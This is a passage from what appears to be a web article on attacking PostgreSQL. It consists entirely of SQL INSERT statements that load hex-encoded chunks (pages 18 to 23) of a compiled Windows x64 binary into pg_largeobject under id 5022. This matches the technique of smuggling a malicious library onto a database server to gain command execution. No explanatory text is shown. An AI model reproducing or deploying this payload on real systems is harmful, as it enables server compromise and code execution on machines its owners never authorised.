1d390100488b45d88990a8030000488b45d8488988880000008d4a42488b45d8488d5528668988bc000000488b45d8668988c2010000488d4d18488b45d84883a0a003000000e826feffff4c8d4dd04c8d45f0488d55d4488d4d18e891feffff4883c4505dc3cccccc4885c9741a534883ec20488bd9e80e000000488bcbe8d2c3ffff4883c4205bc34055488bec4883ec40488d45e848894de8488945f0488d159ca80000b805000000894520894528488d45e8488945f8b8040000008945e08945e4488b01483bc2740c488bc8e882c3ffff488b4de8488b4970e875c3ffff488b4de8488b4958e868c3ffff488b4de8488b4960e85bc3ffff488b4de8488b4968e84ec3ffff488b4de8488b4948e841c3ffff488b4de8488b4950e834c3ffff488b4de8488b4978e827c3ffff488b4de8488b8980000000e817c3ffff488b4de8488b89c0030000e807c3ffff4c8d4d204c8d45f0488d5528488d4d18e8d6fdffff4c8d4de04c8d45f8488d55e4488d4d18e839fdffff4883c4405dc3cccccc48895c2408574883ec20488bf9488bda488b89900000004885c9742ce86b570000488b8f90000000483b0d795001007417488d05a83c0100483bc8740b837910007505e84455000048899f900000004885db7408488bcbe8a4540000488b5c24304883c4205fc3cc40534883ec208b0d1c37010083f9ff742ae896220000488bd84885c0741d8b0d0437010033d2e8c9220000488bcbe86dfeffff488bcbe831c2ffff4883c4205bc3cccccc48895c24084889742410574883ec20ff15af9400008b0dc93601008bd883f9ff741fe841&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">18</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;220000488bf84885c0740c4883f8ff757333ff33f6eb708b0da33601004883caffe86622000085c074e7bac8030000b901000000e82ff1ffff8b0d81360100488bf84885c0751033d2e83e22000033c9e8afc1ffffebba488bd7e82d22000085c075128b0d5736010033d2e81c220000488bcfebdb488bcfe8cbfcffff33c9e880c1ffff488bf78bcbff151994000048f7df481bc04823c67410488b5c2430488b7424384883c4205fc3e891bfffffcc40534883ec208b0d0436010083f9ff741be87e210000488bd84885c074084883f8ff747deb6d8b0de43501004883caffe8a721000085c07468bac8030000b901000000e870f0ffff8b0dc2350100488bd84885c0751033d2e87f21000033c9e8f0c0ffffeb3b488bd3e86e21000085c075128b0d9835010033d2e85d210000488bcbebdb488bcbe80cfcffff33c9e8c1c0ffff4885db7409488bc34883c4205bc3e8eabeffffcccc48895c24084889742410574883ec20ff15339300008b0d4d3501008bd883f9ff741fe8c5200000488bf84885c0740c4883f8ff757333ff33f6eb708b0d273501004883caffe8ea20000085c074e7bac8030000b901000000e8b3efffff8b0d05350100488bf84885c0751033d2e8c220000033c9e833c0ffffebba488bd7e8b120000085c075128b0ddb34010033d2e8a0200000488bcfebdb488bcfe84ffbffff33c9e804c0ffff488bf78bcbff159d920000488b5c243048f7df481bc04823c6488b7424384883c4205fc34883ec28488d0de9fbffffe8801f000089058634010083f8ff750432c0eb15e810ffffff4885c0750933c9e80c000000ebe9b0014883c428c3cccccc4883ec288b0d5634010083f9ff740ce8881f0000830d45340100ffb0014883c428c3cccc40534883ec2033db895c243065488b042560000000488b48203959087c11488d4c2430e8a01d0000837c2430017405bb010000008bc34883c4205bc3483bca730483c8ffc333c0483bca0f97c0c3cccc488bc44889580848896810488970184889782041564883ec4033db458bf0488bfa488bf14885c97522385a28740c488b4a10e8f9beffff885f2848895f1048895f1848895f20e922010000663919755448395a187546385a28740c488b4a10e8ccbeffff885f28b901000000e8ffbeffff48894710488bcb48f7d81bd2f7d283e20c0f94c185d20f94c088472848894f1885d274078bdae9d1000000488b47108818eb9e48895c24384183c9ff48895c24304c8bc6895c242833d2418bce48895c2420e8141500004863e885c07519ff15f79000008bc8e834c2ffffe89fc2ffff8b18e985000000488b4f18483be97642385f28740c488b4f10e831beffff885f28488bcde866beffff48894710488bcb48f7d81bd2f7d283e20c480f44cd85d20f94c088472848894f1885d20f8562ffffff488b47104183c9ff48895c24384c8bc648895c243033d2894c2428418bce4889442420e8811400004863c885c00f8469ffffff48ffc948894f20488b6c24588bc3488b5c2450488b742460488b7c24684883c440415ec3cccc48895c240848895424105556574154415541564157488bec4883ec6033ff488bd94885d27516e8c9c1ffff8d5f168918e89fc0ffff8bc3e9a00100000f57c048893a488b01f30f7f45e048897df04885c07456488d555066c745502a3f488bc840887d52e897580000488b0b4885c075104c8d4de04533c033d2e88d010000eb0c4c8d45e0488bd0e8070300008bf085c075094883c308488b03ebb24c8b65e84c8b7de0e9f80000004c8b7de04c8bcf4c8b65e8498bd7498bc448897d50492bc74c8bc74c8bf049c1fe0349ffc6488d480748c1e9034d3bfc480f47cf4883ceff4885c974254c8b12488bc648ffc041383c0275f749ffc14883c2084c03c849ffc04c3bc175df4c894d5041b801000000498bd1498bcee8b4b1ffff488bd84885c074764a8d14f04d8bf7488955d8488bc2488955584d3bfc7456488bcb492bcf48894dd04d8b064c8bee49ffc543383c2875f7482bd049ffc5480355504d8bcd488bc8e81756000085c00f8583000000488b4558488b4dd0488b55d84a8904314903c54983c608488945584d3bf475b4488b45488bf748891833c9e803bcffff498bdc4d8bf7492bdf4883c30748c1eb034d3bfc480f47df4885db7414498b0ee8debbffff48ffc74d8d7608483bfb75ec498bcfe8cabbffff8bc6488b9c24a00000004883c460415f415e415d415c5f5e5dc34533c948897c24204533c033d233c9e8ecbeffffcccccccc48895c240848896c241048897424185741544155415641574883ec304883cdff498bf933f64d8bf04c8bea4c8be148ffc54038342975f7ba01000000498bc64803ea48f7d0483be876208d420b488b5c2460488b6c2468488b7424704883c430415f415e415d415c5fc34d8d78014c03fd498bcfe883eaffff488bd84d85f674194d8bce4d8bc5498bd7488bc8e8e254000085c00f85d80000004d2bfe4a8d0c33498bd74c8bcd4d8bc4e8c554000085c00f85bb000000488b4f08448d78084c8b7710493bce0f859d000000483937752b418bd78d4804e820eaffff33c9488907e8b2baffff488b0f4885c97442488d412048894f0848894710eb6d4c2b3748b8ffffffffffffff7f49c1fe034c3bf0771e488b0f4b8d2c36488bd54d8bc7e850eaffff4885c0752233c9e868baffff488bcbe860baffffbe0c00000033c9e854baffff8bc6e902ffffff4a8d0cf048890748894f08488d0ce848894f1033c9e833baffff488b4f084889194c017f08ebcb4533c948897424204533c033d233c9e862bdffffcccc48895c242055565741544155&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">19</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;41564157488dac24d0fdffff4881ec30030000488b05ee2b01004833c4488985200200004d8be0488bf148bb0108000000200000483bd174228a022c2f3c2d770a480fbec0480fa3c37210488bcee8d5580000488bd0483bc675de448a024180f83a751e488d4601483bd074154d8bcc4533c033d2488bcee8effdffffe9560200004180e82f33ff4180f82d770c490fbec0480fa3c3b0017203408ac7482bd648897da048ffc248897da8f6d848897db0488d4c243048897db84d1bed48897dc04c23ea40887dc833d2e8c9b7ffff488b44243841bfe9fd00004439780c751840387c2448740c488b44243083a0a8030000fd458bc7eb3ae89f17000085c0751b40387c2448740c488b44243083a0a8030000fd41b801000000eb1640387c2448740c488b44243083a0a8030000fd448bc7488d55a0488bcee8dec9ffff488b4db04c8d45d085c0897c242848897c2420480f45cf4533c933d2ff15488c0000488bd84883f8ff75174d8bcc4533c033d2488bcee8f3fcffff8bf8e9470100004d8b7424084d2b342449c1fe0333d248897c2470488d4c245048897c247848897d8048897d8848897d9040887d98e8e5b6ffff488b4424584439780c751840387c2468740c488b44245083a0a8030000fd458bc7eb3ae8c116000085c0751b40387c2468740c488b44245083a0a8030000fd41b801000000eb1640387c2468740c488b44245083a0a8030000fd448bc7488d542470488d4dfce8b6f8ffff4c8b7d8085c0498bcf480f45cf80392e75118a410184c074203c2e75064038790274164d8bcc4d8bc5488bd6e81dfcffff8bf885c0755b33ff40387d987408498bcfe89fb7ffff488d55d0488bcbff153e8b000041bfe9fd000085c00f850dffffff498b0424498b542408482bd048c1fa034c3bf27429492bd64a8d0cf04c8d0d1df8ffff41b808000000e8924d0000eb0e807d98007408498bcfe846b7ffff488bcbff15d98a0000807dc8007409488b4db0e82eb7ffff8bc7488b8d200200004833cce8e96dffff488b9c24880300004881c430030000415f415e415d415c5f5e5dc3cccce957f9ffffcccccc48895c240848896c24104889742418574883ec4033db418be8488bfa488bf14885c97519385a287403885a2848895a1048895a1848895a20e9bd000000663919753048395a187522385a287403885a28e8f3baffffb9220000008908885f2848895f188bd9e990000000488b42108818ebc248895c24384183c9ff48895c24304c8bc6895c242833d28bcd48895c2420e80f0d00004863d085c07516ff15f28800008bc8e82fbaffffe89abaffff8b18eb48488b4f18483bd1760a385f287490885f28eb8b488b47104183c9ff48895c24384c8bc648895c243033d2894c24288bcd4889442420e8b80c00004863c885c074a948ffc948894f20488b6c24588bc3488b5c2450488b7424604883c4405fc3cccccc48895c241048897c241855488dac2470feffff4881ec90020000488b05c72701004833c448898580010000418bf8488bda41b805010000488d542470ff15de88000085c07514ff15348800008bc8e871b9ffff33c0e9a0000000488364246000488d4c2420488bc748895c244033d24889442448488944245848895c2450c644246800e8f0b3ffff488b44242841b8e9fd00004439400c7515807c2438007447488b44242083a0a8030000fdeb39e8c913000085c0751a38442438740c488b44242083a0a8030000fd41b801000000eb16807c243800740c488b44242083a0a8030000fd4533c0488d542440488d4c2470e8f6fdffff8b442460488b8d800100004833cce8a76bffff4c8d9c2490020000498b5b18498b7b20498be35dc3cccc48895c24084c894c2420574883ec20498bf9498bd88b0ae8f8e9ffff90488b03488b08488b81880000004883c018488b0d234001004885c9746f4885c0745d41b802000000458bc8418d507e0f10000f11010f1048100f1149100f1040200f1141200f1048300f1149300f1040400f1141400f1048500f1149500f1040600f1141604803ca0f1048700f1149f04803c24983e90175b68a008801eb2733d241b801010000e8b782ffffe866b8ffffc70016000000e83bb7ffff41b802000000418d507e488b03488b08488b8188000000480519010000488b0d833f01004885c9745e4885c0744c0f10000f11010f1048100f1149100f1040200f1141200f1048300f1149300f1040400f1141400f1048500f1149500f1040600f1141604803ca0f1048700f1149f04803c24983e80175b6eb1d33d241b800010000e82082ffffe8cfb7ffffc70016000000e8a4b6ffff488b4308488b08488b1183c8fff00fc10283f801751b488b4308488b08488d051c2801004839017408488b09e843b3ffff488b03488b10488b4308488b08488b8288000000488901488b03488b08488b8188000000f0ff008b0fe8b9e8ffff488b5c24304883c4205fc3cccc40534883ec408bd933d2488d4c2420e888b1ffff8325993e01000083fbfe7512c7058a3e010001000000ff159c860000eb1583fbfd7514c705733e010001000000ff157d8600008bd8eb1783fbfc7512488b442428c705553e0100010000008b580c807c243800740c488b4c242083a1a8030000fd8bc34883c4405bc3cccccc48895c240848896c24104889742418574883ec20488d5918488bf1bd01010000488bcb448bc533d2e8f780ffff33c0488d7e0c48894604b906000000488986200200000fb7c066f3ab488d3d04270100482bfe8a041f880348ffc34883ed0175f2488d8e19010000ba000100008a0439880148ffc14883ea0175f2488b5c2430488b6c24&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">20</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;38488b7424404883c4205fc348895c2410488974241855488dac2480f9ffff4881ec80070000488b05db2301004833c448898570060000488bd98b490481f9e9fd00000f843d010000488d542450ff157c85000085c00f842a01000033c0488d4c2470be000100008801ffc048ffc13bc672f58a442456488d542456c644247020eb20440fb642010fb6c8eb0b3bce730cc6440c7020ffc1413bc876f04883c2028a0284c075dc8b43044c8d4424708364243000448bce89442428ba01000000488d857002000033c94889442420e8f150000083642440004c8d4c24708b4304448bc6488b932002000033c989442438488d457089742430488944242889742420e86655000083642440004c8d4c24708b430441b800020000488b932002000033c989442438488d857001000089742430488944242889742420e82d550000b801000000488d9570020000f60201740b804c1818108a4c056feb15f60202740e804c1818208a8c056f010000eb0232c9888c18180100004883c20248ffc04883ee0175c7eb4333d2be000100008d4a01448d429f418d402083f819770a804c0b18108d4220eb124183f819770a804c0b18208d42e0eb0232c088840b18010000ffc248ffc13bd672c7488b8d700600004833cce8f866ffff4c8d9c2480070000498b5b18498b7320498be35dc3cccccc48895c24084c894c24204c89442418555657488bec4883ec40408af28bd9498bd1498bc8e8970100008bcbe8dcfcffff488b4d308bf84c8b8188000000413b4004750733c0e9b8000000b928020000e800b0ffff488bd84885c00f8495000000488b4530ba04000000488bcb488b8088000000448d427c0f10000f11010f1048100f1149100f1040200f1141200f1048300f1149300f1040400f1141400f1048500f1149500f1040600f1141604903c80f1048704903c00f1149f04883ea0175b60f10000f11010f1048100f114910488b4020488941208bcf2113488bd3e8110200008bf883f8ff7525e875b3ffffc7001600000083cfff488bcbe814afffff8bc7488b5c24604883c4405f5e5dc34084f67505e8eb180000488b4530488b888800000083c8fff00fc10183f801751c488b4530488b8888000000488d059e230100483bc87405e8c8aeffffc70301000000488bcb488b453033db48898888000000488b45308b88a8030000850d1a2a01007584488d4530488945f04c8d4de4488d4538488945f84c8d45f08d4305488d55e88945e4488d4de08945e8e8aef9ffff4084f60f844dffffff488b4538488b0848890dc7290100e93affffffcccc48895c24104889742418574883ec20488bf2488bf98b05b12901008581a803000074134883b990000000007409488b9988000000eb64b905000000e864e3ffff90488b9f8800000048895c2430483b1e743e4885db742283c8fff00fc10383f8017516488d05b6220100488b4c2430483bc87405e8dbadffff488b06488987880000004889442430f0ff00488b5c2430b905000000e85ee3ffff4885db7413488bc3488b5c2438488b7424404883c4205fc3e8d9abffff904883ec28803d4139010000754c488d0d9425010048890d1d390100488d0546220100488d0d6f2401004889051039010048890df9380100e80cecffff4c8d0dfd3801004c8bc0b201b9fdffffffe836fdffffc605f338010001b0014883c428c34883ec28e80bebffff488bc8488d15cd3801004883c428e9ccfeffff48895c241855565741544155415641574883ec40488b05091f01004833c44889442438488bf2e8edf9ffff33db8bf885c00f84530200004c8d2dfe250100448bf3498bc58d6b0139380f844e0100004403f54883c0304183fe0572eb81ffe8fd00000f842d0100000fb7cfff156380000085c00f841c010000b8e9fd00003bf8752e4889460448899e20020000895e1866895e1c488d7e0c0fb7c3b90600000066f3ab488bcee87dfaffffe9e2010000488d5424208bcfff152f80000085c00f84c400000033d2488d4e1841b801010000e8e67affff837c242002897e0448899e200200000f8594000000488d4c2426385c2426742c38590174270fb641010fb6113bd077142bc28d7a018d1428804c37180403fd482bd575f44883c102381975d4488d461ab9fe0000008008084803c5482bcd75f58b4e0481e9a4030000742e83e904742083e90d74123bcd7405488bc3eb22488b0569940000eb19488b0558940000eb10488b0547940000eb07488b053694000048898620020000eb028beb896e08e90bffffff391d3d3701000f85f500000083c8ffe9f700000033d2488d4e1841b801010000e80e7affff418bc64d8d4d104c8d3d7024010041be040000004c8d1c4049c1e3044d03cb498bd1413819743e385a017439440fb6020fb64201443bc07724458d50014181fa010100007317418a074403c541084432184403d50fb64201443bc076e04883c202381a75c24983c1084c03fd4c2bf575ae897e04896e0881efa4030000742983ef04741b83ef0d740d3bfd7522488b1d82930000eb19488b1d71930000eb10488b1d60930000eb07488b1d4f9300004c2bde48899e20020000488d560cb9060000004b8d3c2b0fb74417f8668902488d5202482bcd75efe919feffff488bcee806f8ffff33c0488b4c24384833cce84b61ffff488b9c24900000004883c440415f415e415d415c5f5e5dc3cccccc48895c24084889742410574883ec408bda418bf9488bd1418bf0488d4c2420e8d4a8ffff488b4424300fb6d340847c0219751a85f67410488b442428488b080fb7045123c6eb0233c085c07405b801000000807c243800740c488b4c242083a1&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">21</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;a8030000fd488b5c2450488b7424584883c4405fc3cccccc8bd141b90400000033c94533c0e976ffffffcccc4883ec28ff15a27d00004889059b350100ff159d7d000048890596350100b0014883c428c3cccccc81f935c4000077208d81d43bffff83f809770c41baa7020000410fa3c2720583f92a752f33d2eb2b81f998d60000742081f9a9de0000761b81f9b3de000076e481f9e8fd000074dc81f9e9fd0000750383e20848ff253a7d0000cccc48895c2408578d811802ffff458bd983f801498bd8410f96c233ff81f935c40000771c8d81d43bffff83f809770c41b8a7020000410fa3c0723383f92aeb2681f998d60000742681f9a9de0000761881f9b3de0000761681f9e8fd0000740e81f9e9fd000074060fbaf207eb028bd7488b4424484584d24c8b4c24404c8bc04c0f45c74c0f45cf74074885c0740289384c894424484c8bc34c894c2440458bcb488b5c24105f48ff25937c0000cccccc488bc44889580848896810488970184889782041564883ec40ff15797c00004533f6488bd84885c00f84a4000000488bf066443930741c4883c8ff48ffc0664439344675f6488d34464883c6026644393675e44c89742438482bf34c897424304883c60248d1fe4c8bc3448bce448974242833d24c8974242033c9e8d0feffff4863e885c0744b488bcde855a8ffff488bf84885c0742e4c89742438448bce4c897424304c8bc3896c242833d233c94889442420e897feffff85c07408488bf7498bfeeb03498bf6488bcfe8d4a7ffffeb03498bf64885db7409488bcbff15bd7b0000488b5c2450488bc6488b742460488b6c2458488b7c24684883c440415ec3cccccc48895c24188954241055565741544155415641574883ec3033f68bda4c8bf94885c97514e8c7abffffc700160000004883c8ffe9bb020000ba3d000000498bffe8a76c00004c8be84885c00f8481020000493bc70f84780200004c8b35132c01004c3b35242c0100408a680140886c24707512498bcee8a50200004c8bf0488905ef2b010041bc010000004d85f60f85b500000085db743f483935dd2b01007436e8d2a0ffff4885c00f84230200004c8b35be2b01004c3b35cf2b01000f8581000000498bcee8550200004c8bf04889059f2b0100eb6d4084ed0f8401020000ba08000000498bcce817d6ffff33c94889057e2b0100e8a5a6ffff4c8b35722b01004d85f675094883cdffe9d3010000483935652b0100752bba08000000498bcce8ded5ffff33c94889054d2b0100e86ca6ffff483935412b010074ca4c8b35302b01004d85f674be498b064d8be54d2be7498bde4885c074344d8bc4488bd0498bcfe89c10000085c07510488b0341803c043d740f4138340474094883c308488b03ebd0492bde48c1fb03eb0a492bde48c1fb0348f7db4885db78574939367452498b0cdee8f5a5ffff4084ed74154d893cdee995000000498b44de08498904de48ffc3493934de75ee41b808000000488bd3498bcee8a0d5ffff33c9488bd8e8baa5ffff4885db746648891d822a0100eb5d4084ed0f84e800000048f7db488d5302483bd373094883cdffe9d500000048b8ffffffffffffff1f483bd073e841b808000000498bcee84dd5ffff33c94c8bf0e867a5ffff4d85f674cb4d893cde498974de084c8935262a0100488bfe397424780f848e0000004883cdff4c8bf549ffc64338343775f7ba01000000498d4e02e88bd4ffff488bd84885c074474d8bc7498d5602488bc8e8eca2ffff85c07577488bc3498d4d01492bc74803c8f65c2470481bd24823d1408871ff488bcbe8014a000085c0750de830a9ffff8bf5c7002a000000488bcbe8d0a4ffffeb17e819a9ffff4883ceffc700160000008bee8bf58bee8bf5488bcfe8afa4ffff8bc6488b9c24800000004883c430415f415e415d415c5f5e5dc34533c948897424204533c033d233c9e8d1a7ffffcc48895c2408488974241048897c241841564883ec30488bf94885c9751833c0488b5c2440488b742448488b7c24504883c430415ec333c9488bc748390f740d48ffc1488d40084883380075f348ffc1ba08000000e88bd3ffff488bd84885c0747e488b074885c074514c8bf34c2bf74883ceff48ffc6803c300075f7ba01000000488d4e01e85ad3ffff33c94989043ee8eba3ffff498b0c3e4885c974414c8b07488d5601e8b2a1ffff85c0751b4883c708488b074885c075b533c9e8bfa3ffff488bc3e956ffffff4883642420004533c94533c033d233c9e8f2a6ffffcce8d8a1ffffcccccccce9f3fbffffcccccc48895c240848896c241048897424185741544155415641574883ec20448bf94c8d356645ffff4d8be1498be84c8bea4b8b8cfe90ea01004c8b15561501004883cfff418bc2498bd24833d183e03f8ac848d3ca483bd70f845b0100004885d27408488bc2e9500100004d3bc40f84d90000008b7500498b9cf6f0e901004885db740e483bdf0f84ac000000e9a20000004d8bb4f6f046010033d2498bce41b800080000ff15e3750000488bd84885c0754fff157575000083f85775428d58b0498bce448bc3488d15d8860000e893a2ffff85c07429448bc3488d1595900000498bcee87da2ffff85c074134533c033d2498bceff1593750000488bd8eb0233db4c8d358544ffff4885db750d488bc7498784f6f0e90100eb1e488bc3498784f6f0e901004885c07409488bcbff154a7500004885db75554883c504493bec0f852effffff4c8b154914010033db4885db744a498bd5488bcbff15267500004885c074324c8b052a140100ba40000000418bc883e13f2bd18aca488bd048d3ca4933d04b8794fe90ea0100eb2d&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">22</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;4c8b1501140100ebb84c8b15f8130100418bc2b94000000083e03f2bc848d3cf4933fa4b87bcfe90ea010033c0488b5c2450488b6c2458488b7424604883c420415f415e415d415c5fc3cccc40534883ec20488bd94c8d0d2c900000b91c0000004c8d051c900000488d1519900000e800feffff4885c07416488bd348c7c1faffffff4883c4205b48ff2509760000b8250200c04883c4205bc3cccc4883ec284c8d0d558f000033c94c8d05488f0000488d15498f0000e8b8fdffff4885c0740b4883c42848ff25cc750000b8010000004883c428c3cccc48895c240848896c24104889742418574883ec50418bd9498bf88bf24c8d0d1d8f0000488be94c8d050b8f0000488d150c8f0000b901000000e85efdffff4885c074524c8b8424a0000000448bcb488b8c24980000008bd64c894424404c8bc748894c2438488b8c249000000048894c24308b8c2488000000894c2428488b8c248000000048894c2420488bcdff152d750000eb3233d2488bcde8a90200008bc8448bcb8b8424880000004c8bc7894424288bd6488b8424800000004889442420ff1571740000488b5c2460488b6c2468488b7424704883c4505fc340534883ec20488bd94c8d0d6c8e0000b9030000004c8d05588e0000488d1559840000e898fcffff4885c0740f488bcb4883c4205b48ff25a87400004883c4205b48ff25d472000040534883ec208bd94c8d0d2d8e0000b9040000004c8d05198e0000488d152a840000e851fcffff8bcb4885c0740c4883c4205b48ff25627400004883c4205b48ff25a6720000cccc40534883ec208bd94c8d0ded8d0000b9050000004c8d05d98d0000488d15f2830000e809fcffff8bcb4885c0740c4883c4205b48ff251a7400004883c4205b48ff254e720000cccc48895c2408574883ec20488bda4c8d0da88d00008bf9488d15c7830000b9060000004c8d058b8d0000e8bafbffff488bd38bcf4885c07408ff15ce730000eb06ff150e720000488b5c24304883c4205fc3cccccc48895c24084889742410574883ec20418bf04c8d0d578d00008bda4c8d05468d0000488bf9488d157c830000b912000000e85efbffff8bd3488bcf4885c0740b448bc6ff156f730000eb06ff1597710000488b5c2430488b7424384883c4205fc3cccccc48895c240848896c24104889742418574883ec50418bd9498bf88bf24c8d0df18c0000488be94c8d05df8c0000488d15e08c0000b914000000e8f2faffff4885c074524c8b8424a0000000448bcb488b8c24980000008bd64c894424404c8bc748894c2438488b8c249000000048894c24308b8c2488000000894c2428488b8c248000000048894c2420488bcdff15c1720000eb3233d2488bcde83d0000008bc8448bcb8b8424880000004c8bc7894424288bd6488b8424800000004889442420ff150d720000488b5c2460488b6c2468488b7424704883c4505fc348895c2408574883ec208bfa4c8d0d3d8c0000488bd9488d15338c0000b9160000004c8d051f8c0000e826faffff488bcb4885c0740a8bd7ff153a720000eb05e84f440000488b5c24304883c4205fc348897c2408488d3d142a0100488d051d2b0100483bc7488b057b0f0100481bc948f7d183e122f348ab488b7c2408b001c3cccccc40534883ec2084c9752f488d1d3b290100488b0b4885c974104883f9ff7406ff1527700000488323004883c308488d05b8290100483bd875d8b0014883c4205bc3cccccc4883ec28ff152e7100004885c0488905a42a01000f95c04883c428c3488325942a010000b001c3cc48895c24084889742410574883ec20488bf2488bf9483bca7454488bd9488b034885c0740aff155d71000084c074094883c310483bde75e5483bde7431483bdf74284883c3f848837bf8007410488b034885c0740833c9ff152b7100004883eb10488d4308483bc775dc32c0eb02b001488b5c2430488b7424384883c4205fc348895c2408574883ec20488bda488bf9483bca741a488b43f84885c0740833c9ff15e27000004883eb10483bdf75e6488b5c2430b0014883c4205fc348890dd5290100c340534883ec20488bd9e8220000004885c07414488bcbff15a870000085c07407b801000000eb0233c04883c4205bc3cc40534883ec2033c9e843d1ffff90488b1def0d01008bcb83e13f48331d8329010048d3cb33c9e879d1ffff488bc34883c4205bc348895c24084c894c2420574883ec20498bf98b0ae803d1ffff90488b1daf0d01008bcb83e13f48331d5b29010048d3cb8b0fe839d1ffff488bc3488b5c24304883c4205fc3cccccc4c8bdc4883ec28b8030000004d8d4b104d8d430889442438498d531889442440498d4b08e88fffffff4883c428c3cccc48890df928010048890dfa28010048890dfb28010048890dfc280100c3cccccc48895c242056574154415541564883ec408bd94533ed44216c247841b601448874247083f902742183f904744c83f906741783f908744283f90b743d83f90f74088d41eb83f801777d83e9020f84af00000083e9040f848b00000083e9090f849400000083e9060f848200000083f901747433ffe98f000000e80adaffff4c8be84885c0751883c8ff488b9c24880000004883c440415e415d415c5f5ec3488b00488b0d3880000048c1e1044803c8eb09395804740b4883c010483bc175f233c04885c07512e8b99effffc70016000000e88e9dffffebae488d78084532f64488742470eb22488d3d03280100eb19488d3df2270100eb10488d3df9270100eb07488d3dd82701004883a42480000000004584f6740bb903000000e864cfffff90488b374584f67412488b05080c0100&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">23</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;8bc883e13f4833f048d3ce4883fe010f84940000004885f60f840301000041bc1009000083fb0b773d410fa3dc7337498b450848898424800000004889442430498365080083fb087553e88dd7ffff8b40108944247889442420e87dd7ffffc740108c00000083fb087532488b05467f000048c1e00449034500488b0d3f7f000048c1e1044803c84889442428483bc1741d48836008004883c010ebeb488b05640b0100488907eb0641bc100900004584f6740ab903000000e8eaceffff4883fe01750733c0e98efeffff83fb087519e807d7ffff8b50108bcb488bc64c8b05b46d000041ffd0eb0e8bcb488bc6488b15a36d0000ffd283fb0b77c8410fa3dc73c2488b8424800000004989450883fb0875b1e8c4d6ffff8b4c2478894810eba34584f674088d4e03e87aceffffb903000000e8248cffff90cccccc488b15c50a01008bca4833158426010083e13f48d3ca4885d20f95c0c3cccccc48890d6d260100c3488b159d0a01004c8bc18bca4833155926010083e13f48d3ca4885d2750333c0c3498bc8488bc248ff25066d0000cccc48895c240848896c24104889742418574883ec5033ed498bf0488bfa488bd94885d20f84380100004d85c00f842f01000040382a75114885c90f8428010000668929e920010000498bd1488d4c2430e8b096ffff488b44243881780ce9fd000075224c8d0df32501004c8bc6488bd7488bcbe8a53f0000488bc883c8ff85c90f48c8eb194839a838010000752a4885db74060fb607668903b90100000040386c2448740c488b44243083a0a8030000fd8bc1e9b20000000fb60f488d542438e80c3f000085c07452488b4c2438448b49084183f9017e2f413bf17c2a8b490c8bc54885db4c8bc7ba090000000f95c08944242848895c2420e8c3edffff488b4c243885c0750f48634108483bf0723e40386f0174388b4908eb838bc541b9010000004885db4c8bc70f95c089442428418d5108488b44243848895c24208b480ce87bedffff85c00f854bffffffe86e9bffff83c9ffc7002a000000e93dffffff48892df524010033c0488b5c2460488b6c2468488b7424704883c4505fc3cccc4533c9e978feffff40534883ec20488b05af240100488bda48390274168b81a803000085053f1201007508e8202c00004889034883c4205bc3cccccc40534883ec20488b054b220100488bda48390274168b81a803000085050b1201007508e850e9ffff4889034883c4205bc3cccccc48895c240848897424104c894c2420574883ec30498bf98b0ae8b2cbffff90488d1d2e240100488d355f10010048895c2420488d0523240100483bd87419483933740e488bd6488bcbe8022c00004889034883c308ebd68b0fe8c6cbffff488b5c2440488b7424484883c4305fc3ccccb8010000008705f9230100c34c8bdc4883ec28b8040000004d8d4b104d8d430889442438498d531889442440498d4b08e85bffffff4883c428c3cccc4883ec28e8a3d3ffff488d542430488b889000000048894c2430488bc8e8cafeffff488b442430488b004883c428c3cc8b0596230100c3cc833d89230100000f84471900004533c9e903000000cccccc488bc4488958084889681048897018574883ec60488bf2488be9498bd1488d48d8498bf8e8ef93ffff4885ff750733dbe9a00000004885ed74054885f67517e89099ffffc70016000000e86598ffffbbffffff7feb7fbbffffff7f483bfb7612e86f99ffffc70016000000e84498ffffeb63488b442448488b90300100004885d275174c8d4c24484c8bc7488bd6488bcde8f61800008bd8eb3b8b4014488d4c2448894424384c8bcd897c243041b8011000004889742428897c2420e85b44000085c0750de80a99ffffc70016000000eb038d58fe807c245800740c488b44244083a0a8030000fd4c8d5c24608bc3498b5b10498b6b18498b7320498be35fc348895c24185556574154415541564157488bec4883ec70488b056a0601004833c4488945f84533e4488955e048894dd8488bd94c89224885c9750733c0e9730200004c8d45e8c745e85379737433d2c745ec656d526f488d4dc866c745f06f74448865f24c8965c8e8079affff85c07419be160000003bc60f845b020000e